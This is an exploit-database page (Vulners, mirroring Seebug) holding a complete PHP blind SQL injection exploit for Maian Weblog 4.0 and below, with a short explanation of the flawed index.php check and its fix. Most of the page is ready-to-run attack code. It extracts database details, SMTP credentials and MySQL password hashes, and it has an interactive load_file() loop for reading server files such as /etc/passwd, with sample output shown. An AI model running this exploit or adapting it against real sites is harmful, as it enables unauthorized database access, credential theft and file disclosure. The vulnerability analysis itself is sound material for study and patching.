Lucene search
K

maian weblog <= 4.0 - Remote Blind SQL Injection

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

Maian weblog <= 4.0 Remote Blind SQL Injection exploit by mr_me - https://net-ninja.net/. Vulnerable code in index.php allows unauthorized access to database and system files

Code

                                                &#60;?php
/*
maian weblog &#60;= v4.0 Remote Blind SQL Injection Exploit
vendor: http://www.maianscriptworld.co.uk/
Thanks to Johannes Dahse: http://bit.ly/dpQXMK

Explanation:
Lines 335 - 341 of the index.php we see this if statement that concerns
our variable $b_post.

   // Check month and year vars...
   // If they don`t equal 0, are they numeric?..
   if ($b_post==0 && !ctype_digit($b_post))
   {
     header(&#34;Location: index.php&#34;);
     exit;
   }

This if statement is suppose to prevent the SQL Injection vulnerability.
However the logic implimented is incorrect, as there will never be a situation
where the $b_post variable that we control will ever be a 0 and a string value.

So a simple fix to remediate this issue becomes clear, instead of an &&, the
author was suppose to use an ||. o.O

Further down in the index.php page on lines 348 - 361, we see the location of the
actual vulnerable code.

   $q_blog = mysql_query(&#34;SELECT * FROM &#34;.$database[&#39;prefix&#39;].&#34;blogs
                          WHERE id = &#39;$b_post&#39;
                          LIMIT 1
                          &#34;) or die(mysql_error());
   $BLOG = mysql_fetch_object($q_blog);

   // At this point, lets see if the last query fetched anything..
   // If it didn`t, blog id is invalid. Might be someone bookmarked an old link..
   // If no data, redirect to homepage..
   if (mysql_num_rows($q_blog)==0)
   {
     header(&#34;Location: index.php&#34;);
     exit;
   }

The page redirects after the query is executed. This way you probably won&#39;t spot the
bug in your browser from a blackbox view :). No urldecode() so we can&#39;t bypass 
magic_quotes_gpc and the admin credentials are not stored in the database. doh.

Using &#60; or &#62; would make the PoC a little more efficient, but oh well :0)	 
Assuming some stars are aligned, the PoC will make well over 11,000 requests...
[mr_me@pluto maian_weblog]$ php PoC.php -t 192.168.56.101 -d /maian_weblog/ -p 127.0.0.1:8080

-------------------------------------------------------
maian weblog &#60;= v4.0 Remote Blind SQL Injection Explo!t
by mr_me - https://net-ninja.net/
-------------------------------------------------------

(+) Setting the proxy to 127.0.0.1:8080
(+) Getting basic database information
(+) Database version -&#62; 5.1.41-3ubuntu12.9
(+) Database name -&#62; maian_weblog
(+) Database user -&#62; root@localhost
(+) SMTP details found!
(+) Getting SMTP host:user:pass -&#62; localhost:maianmail:password
(+) Access to MySQL database successful, dumping hash!
(+) MySQL user:pass -&#62; root:*EE4E2773D7530819563F0DC6FCE27446A51C9413
(!) Access to load_file(), wanna play? (y/n): y

(+) Please enter the file (q to quit): /etc/shadow
(-) File doesn&#39;t exist/no access.
(+) Please enter the file (q to quit): /etc/passwd
(!) Dumping the /etc/passwd file, hold onto your knickers!
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:......
*/

print_r(&#34;
-------------------------------------------------------
maian weblog &#60;= v4.0 Remote Blind SQL Injection Explo!t
by mr_me - https://net-ninja.net/
-------------------------------------------------------
&#34;);

if ($argc &#60; 3) {
print_r(&#34;
-----------------------------------------------------------------------------
Usage: php &#34;.$argv[0].&#34; -t &#60;host:ip&#62; -d &#60;path&#62; OPTIONS
host:      target server (ip/hostname)
path:      directory path to wordpress
Options:
 -p[ip:port]: specify a proxy
Example:
php &#34;.$argv[0].&#34; -t 192.168.1.5 -d /webapps/wp/ -p 127.0.0.1:8080
php &#34;.$argv[0].&#34; -t 192.168.1.5 -d /webapps/wp/
-----------------------------------------------------------------------------
&#34;); die; }

error_reporting(7);
ini_set(&#34;max_execution_time&#34;, 0);
ini_set(&#34;default_socket_timeout&#34;, 5);

$proxy_regex = &#34;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)&#34;;

function setArgs($argv) {
    $_ARG = array();
    foreach ($argv as $arg) {
        if (ereg(&#34;--([^=]+)=(.*)&#34;, $arg, $reg)) {
            $_ARG[$reg[1]] = $reg[2];
        } elseif(ereg(&#34;^-([a-zA-Z0-9])&#34;, $arg, $reg)) {
            $_ARG[$reg[1]] = &#34;true&#34;;
        } else {
            $_ARG[&#34;input&#34;][] = $arg;
        }
    }
    return $_ARG;
}

$myArgs = setArgs($argv);
$host = $myArgs[&#34;input&#34;][&#34;1&#34;];
$path = $myArgs[&#34;input&#34;][&#34;2&#34;];

if (strpos($host, &#34;:&#34;) == true){
    $hostAndPort = explode(&#34;:&#34;,$myArgs[&#34;input&#34;][1]);
    $host = $hostAndPort[0];
    $port = $hostAndPort[1];
}else{
    $port = 80;
}

if(isset($myArgs[&#34;p&#34;])){
    $proxyAndPort = explode(&#34;:&#34;,$myArgs[&#34;input&#34;][3]);
    $proxy = $proxyAndPort[0];
    $pport = $proxyAndPort[1];
    echo &#34;\n(+) Setting the proxy to &#34;.$proxy.&#34;:&#34;.$pport;
}else{
    echo &#34;\n(-) Warning, a proxy was not set&#34;;
}

// rgods sendpacketii() function
function sendpacket($packet)
{
    global $proxy, $host, $port, $pport, $html, $proxy_regex;
    if (!isset($proxy)) {
        $ock = fsockopen(gethostbyname($host),$port);
        if (!$ock) {
            echo &#34;\n(-) No response from &#34;.$host.&#34;:&#34;.$port; die;
        }
    }
    else {
        $c = preg_match($proxy_regex,$proxy);
        if (!$c) {
            echo &#34;\n(-) Not a valid proxy...&#34;; die;
        }
        $ock=fsockopen($proxy,$pport);
        if (!$ock) {
            echo &#34;\n(-) No response from proxy...&#34;; die;
        }
    }
    fputs($ock,$packet);
    if ($proxy == &#34;&#34;) {
        $html = &#34;&#34;;
        while (!feof($ock)) {
            $html .= fgets($ock);
        }
    }
    else {
        $html = &#34;&#34;;
        while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a), $html))) {
            $html .= fread($ock,1);
        }
    }
    fclose($ock);
    return $html;
}

function read() {
    $fp1 = fopen(&#34;/dev/stdin&#34;, &#34;r&#34;);
    $input = fgets($fp1, 255);
    fclose($fp1);
    return $input;
}

if (!$myArgs[&#34;p&#34;]) {$p = $path;} else {$p = &#34;http://&#34;.$host.&#34;:&#34;.$port.$path;}

function checksqli($sqli, $p){
    $packet = &#34;GET &#34;.$p.&#34;index.php?cmd=blog&post=1&#34;.$sqli.&#34; HTTP/1.1\r\n&#34;;
    $packet .= &#34;Host: &#34;.$host.&#34;\r\n&#34;;
    $packet .= &#34;Connection: Close\r\n\r\n&#34;;
    $html = sendpacket($packet);
    if (strlen($html) &#62; 429) { return 1; } else{ return 0; }
}

function getbasicinfo($p){
    echo &#34;\n(+) Getting basic database information&#34;;
    $basicinfo = array(&#34;version&#34; =&#62; &#34;@@version&#34;, &#34;name&#34; =&#62; &#34;database()&#34;, &#34;user&#34; =&#62; &#34;user()&#34;);
    foreach($basicinfo as $key =&#62; $value){
        echo &#34;\n(+) Database &#34;.$key.&#34; -&#62; &#34;;
        $admin = &#34;&#34;; $j=1;
        while (!strstr($admin,chr(0))){
            for ($i=1; $i&#60;=126; $i++){
                $sqli=&#34;&#39;+and+ascii(substring(&#34;.$value.&#34;,&#34;.$j.&#34;,1))=&#39;&#34;.$i;
                $packet = &#34;GET &#34;.$p.&#34;index.php?cmd=blog&post=1&#34;.$sqli.&#34; HTTP/1.1\r\n&#34;;
                $packet .= &#34;Host: &#34;.$host.&#34;\r\n&#34;;
                $packet .= &#34;Connection: Close\r\n\r\n&#34;;
                $html = sendpacket($packet);
                if (strlen($html) &#62; 429){
                    $admin.= chr($i);
                    echo chr($i); break;
                }
                elseif($i === 126){
                    $admin .= &#34;\x00&#34;;
                    break;
                }
            }
        $j++;
        }
    }
}

function getlogindetails($p, $msg, $tsqli){
    echo $msg;
    $tempvar = &#34;&#34;; $j=1;
    while (!strstr($tempvar,chr(0))){
        for ($i=1; $i&#60;=126; $i++){
            if (!strpos($tsqli, &#34;load_file&#34;) == true){
                $sqli = $tsqli.&#34;+limit+0,1),&#34;.$j.&#34;,1))=&#39;&#34;.$i;
            }
            else
            {
                $sqli = $tsqli.&#34;),&#34;.$j.&#34;,1))=&#39;&#34;.$i;
            }
            $packet = &#34;GET &#34;.$p.&#34;index.php?cmd=blog&post=1&#34;.$sqli.&#34; HTTP/1.1\r\n&#34;;
            $packet .= &#34;Host: &#34;.$host.&#34;\r\n&#34;;
            $packet .= &#34;Connection: Close\r\n\r\n&#34;;
            $html = sendpacket($packet);
            if (strlen($html) &#62; 429){
                echo chr($i); break;
            }
            elseif($i === 126){
                $tempvar .= &#34;\x00&#34;;
                break;
            }
        }
    $j++;
    }

}

function strhex($string)
{
    $hex = &#34;&#34;;
    for ($i=0; $i &#60; strlen($string); $i++){
        $hex .= dechex(ord($string[$i]));
    }
    return $hex;
}

getbasicinfo($p);
$smtpsqli = &#34;&#39;+and+substring((sEleCt+smtp+from+mw_settings+limit+0,1),1,1)=&#39;1&#34;;
if (checksqli($smtpsqli, $p)){
    echo &#34;\n(+) SMTP details found!&#34;;
    $msg = &#34;\n(+) Getting SMTP host:user:pass -&#62; &#34;;
    $sqli = &#34;&#39;+and+ascii(substring((sElEcT+cOncAt(&#34;;
    $sqli .= &#34;smtp_host,0x3a,smtp_user,0x3a,smtp_pass)+&#34;;
    $sqli .= &#34;from+mw_settings&#34;;
    getlogindetails($p, $msg, $sqli);
}

$mysqlsqli = &#34;&#39;+and+(select+1+from+mysql.user+limit+0,1)=&#39;1&#34;;
if (checksqli($mysqlsqli, $p)){
    echo &#34;\n(+) Access to MySQL database successful, dumping hash!&#34;;
    $msg = &#34;\n(+) MySQL user:pass -&#62; &#34;;
    $sqli = &#34;&#39;+and+ascii(substring((sElEcT+cOncAt(&#34;;
    $sqli .= &#34;user,0x3a,password)+from+mysql.user+&#34;;
    getlogindetails($p, $msg, $sqli);
    $loadsqli = &#34;&#39;+and+!isnull(loAd_fIle(0x2F6574632F706173737764))--+&#34;;
    if (checksqli($loadsqli, $p)){
        echo &#34;\n(!) Access to load_file(), wanna play? (y/n): &#34;;
        $resp = trim(read());
        if(strcmp($resp,&#34;y&#34;) === 0){
            $loadfile = &#34;&#34;;
            while (strcmp($loadfile, &#34;q&#34;) != 0){
                echo &#34;\n(+) Please enter the file (q to quit): &#34;;
                $loadfile = trim(read());
                if (strcmp($loadfile, &#34;q&#34;) === 0) { break; }
                $loadsqli = &#34;&#39;+and+!isnull(loAd_fIle(0x&#34;.strhex($loadfile).&#34;))--+&#34;;
                if(checksqli($loadsqli, $p)){
                    $sqli = &#34;&#39;+and+ascii(substring(load_file(0x&#34;.strhex($loadfile);
                    $msg = &#34;(!) Dumping the &#34;.$loadfile.&#34; file, hold onto your knickers!\n&#34;;
                    getlogindetails($p, $msg, $sqli);
                }
                else{
                    echo &#34;(-) File doesn&#39;t exist/no access.&#34;;
                }
            }
        }
        else{
            echo &#34;(-) Ok Exiting..\n&#34;; die;
        }
    }
}
?&#62;

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
21